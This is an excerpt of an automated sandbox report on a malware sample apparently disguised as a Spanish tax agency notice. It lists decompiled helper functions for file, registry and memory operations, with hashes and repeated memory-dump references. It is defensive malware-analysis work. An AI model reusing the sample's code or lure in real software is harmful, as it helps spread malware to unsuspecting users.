Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2C Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D2C(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x00405d31
0x00405d37
0x00405d3c
0x00405d45
0x00405d45
0x00405d4e

APIs

GetFileAttributesW.KERNELBASE(?,?,00405931,?,?,00000000,00405B07,?,?,?,?), ref: 00405D31
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D45

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 706934cb3b0fb70b74806e5ec6ddb1c8dfd6769152cd575e6ec3c276ff28a2a3
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 85D01272504420AFD6512738EF0C89BBF95DB543717028B36FAE9A22F0CB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040580F Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040580F(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405815
0x0040581d
0x00000000
0x00405823
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403343,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 00405815
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405823

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 364d0df367319b35fd7f444a265edab083d6b2b9b53b3b0e5bc7a719fbea1b4c
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 29C08C312105019AC7002F20EF08B173E50AB20380F058839E546E00E0CE348064D96D

Uniqueness

Uniqueness Score: -1.00%

Function 004027E9 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E004027E9(intOrPtr __edx, void* __eflags) {
				long _t8;
				long _t10;
				LONG* _t12;
				void* _t14;
				intOrPtr _t15;
				void* _t17;
				void* _t19;

				_t15 = __edx;
				_push(ds);
				if(__eflags != 0) {
					_t8 = E00402C15(2);
					_pop(_t14);
					 *((intOrPtr*)(_t19 - 0x4c)) = _t15;
					_t10 = SetFilePointer(E004061BF(_t14, _t17), _t8, _t12,  *(_t19 - 0x1c)); // executed
					if( *((intOrPtr*)(_t19 - 0x24)) >= _t12) {
						_push(_t10);
						_push( *((intOrPtr*)(_t19 - 0xc)));
						E004061A6();
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x004027e9
0x004027e9
0x004027ea
0x004027f2
0x004027f7
0x004027f8
0x00402807
0x00402810
0x00402a61
0x00402a62
0x00402a65
0x00402a65
0x00402810
0x00402ac2
0x00402ace

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402807

Part of subcall function 004061A6: wsprintfW.USER32 ref: 004061B3

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 876bb964a1d0d5fa4607f701cb9d9138871ffb593e28fb7de57c31c7f2bc0863
Instruction ID: 21d8c208f5d5b54c8d66c8a0ecd09dde93b5cc4591d01b86724f3e283dce4822
Opcode Fuzzy Hash: 876bb964a1d0d5fa4607f701cb9d9138871ffb593e28fb7de57c31c7f2bc0863
Instruction Fuzzy Hash: B0E06D72A00104AEDB11EBA5AE498AE7779EB80304B18803BF101F51D2CA790D128A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401735 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401735() {
				long _t5;
				WCHAR* _t8;
				WCHAR* _t12;
				void* _t14;
				long _t17;

				_t5 = SearchPathW(_t8, E00402C37(0xffffffff), _t8, 0x400, _t12, _t14 + 8); // executed
				_t17 = _t5;
				if(_t17 == 0) {
					 *((intOrPtr*)(_t14 - 4)) = 1;
					 *_t12 = _t8;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t14 - 4));
				return 0;
			}

0x00401749
0x0040174f
0x00401751
0x00402853
0x0040285a
0x0040285a
0x00402ac2
0x00402ace

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401749

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 875acb00c645770f213fe7cf4565295393cc7a65273a1ece8f838635e2e5a846
Instruction ID: 1a21f3817f07a007d07fb30ace0b1820adccec601593f7c7bbd26e2b342b2bae
Opcode Fuzzy Hash: 875acb00c645770f213fe7cf4565295393cc7a65273a1ece8f838635e2e5a846
Instruction Fuzzy Hash: 33E048B2704104AAD750DBA4DE49AAA7758DF40368B20853AF111E51C1D6B45941976D

Uniqueness

Uniqueness Score: -1.00%

Function 004060FA Relevance: 1.5, APIs: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060FA(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406051(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x00406104
0x0040610d
0x00406123
0x00000000
0x00406123
0x00406111
0x00000000

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CE8,00000000,?,?), ref: 00406123

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 1ce12e5a620d0377d06846f84a02a75369475120c61fa63bf0211ee428df1362
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 67E0E6B2010109BEDF099F50DD0AD7B371DE704704F01492EFA06D4051E6B5E9706B74

Uniqueness

Uniqueness Score: -1.00%

Function 00405E03 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E03(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405e07
0x00405e17
0x00405e1f
0x00000000
0x00405e26
0x00000000
0x00405e28

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032BB,000000FF,0078B6D8,?,0078B6D8,?,?,00000004,00000000), ref: 00405E17

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: c8204e3b8f5822b3fc4a752f4075b10d4d5d267c9e9767057f3313d1a75d1f26
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 38E0E632510559ABDF116F55DC00AEB775CFB05360F004436FD55E7150D671E9219BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00405DD4 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DD4(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405dd8
0x00405de8
0x00405df0
0x00000000
0x00405df7
0x00000000
0x00405df9

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403305,00000000,00000000,0040314C,?,00000004,00000000,00000000,00000000), ref: 00405DE8

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: b9e836fab2427aaa168680a15f0f0ce7fefe47de654f12bfd99ea101fd6ea48b
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7DE0EC3222425EABDF509E559C04EEB7B6DEF05360F048837FD15E7160D631E921ABA8

Uniqueness

Uniqueness Score: -1.00%

Function 100027C2 Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x10004048 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x1000405c, 4, 0x40, 0x1000404c); // executed
					 *0x1000405c = 0xc2;
					 *0x1000404c = 0;
					 *0x10004054 = 0;
					 *0x10004068 = 0;
					 *0x10004058 = 0;
					 *0x10004050 = 0;
					 *0x10004060 = 0;
					 *0x1000405e = 0;
				}
				return 1;
			}

0x100027cb
0x100027d0
0x100027e0
0x100027e8
0x100027ef
0x100027f4
0x100027f9
0x100027fe
0x10002803
0x10002808
0x1000280d
0x1000280d
0x10002815

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E0

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 43a77b614ff4017466e57d7f63f0e44ab05d53355a3bca00642047650885b550
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: C5F0A5F15057A0DEF350DF688C847063BE4E3583C4B03852AE368F6269EB344454DF19

Uniqueness

Uniqueness Score: -1.00%

Function 004060CC Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060CC(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406051(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004060d6
0x004060dd
0x004060f0
0x00000000
0x004060f0
0x004060e1
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F00,?,?,0040615A,007A0F00,00000000,?,?,Call,?), ref: 004060F0

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: ced63528db1e32a5bcf3a8a8acf2bd7baad3650648e26365f6afbd74657f9209
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: BED0123208020DBBDF219F909D01FAB375DAB04354F018436FE06E4190DB76D570AB14

Uniqueness

Uniqueness Score: -1.00%

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004015A3() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesW(E00402C37(0xfffffff0),  *(_t11 - 0x24)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}

0x004015ae
0x004015b4
0x004015b6
0x00402885
0x00402885
0x00402ac2
0x00402ace

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
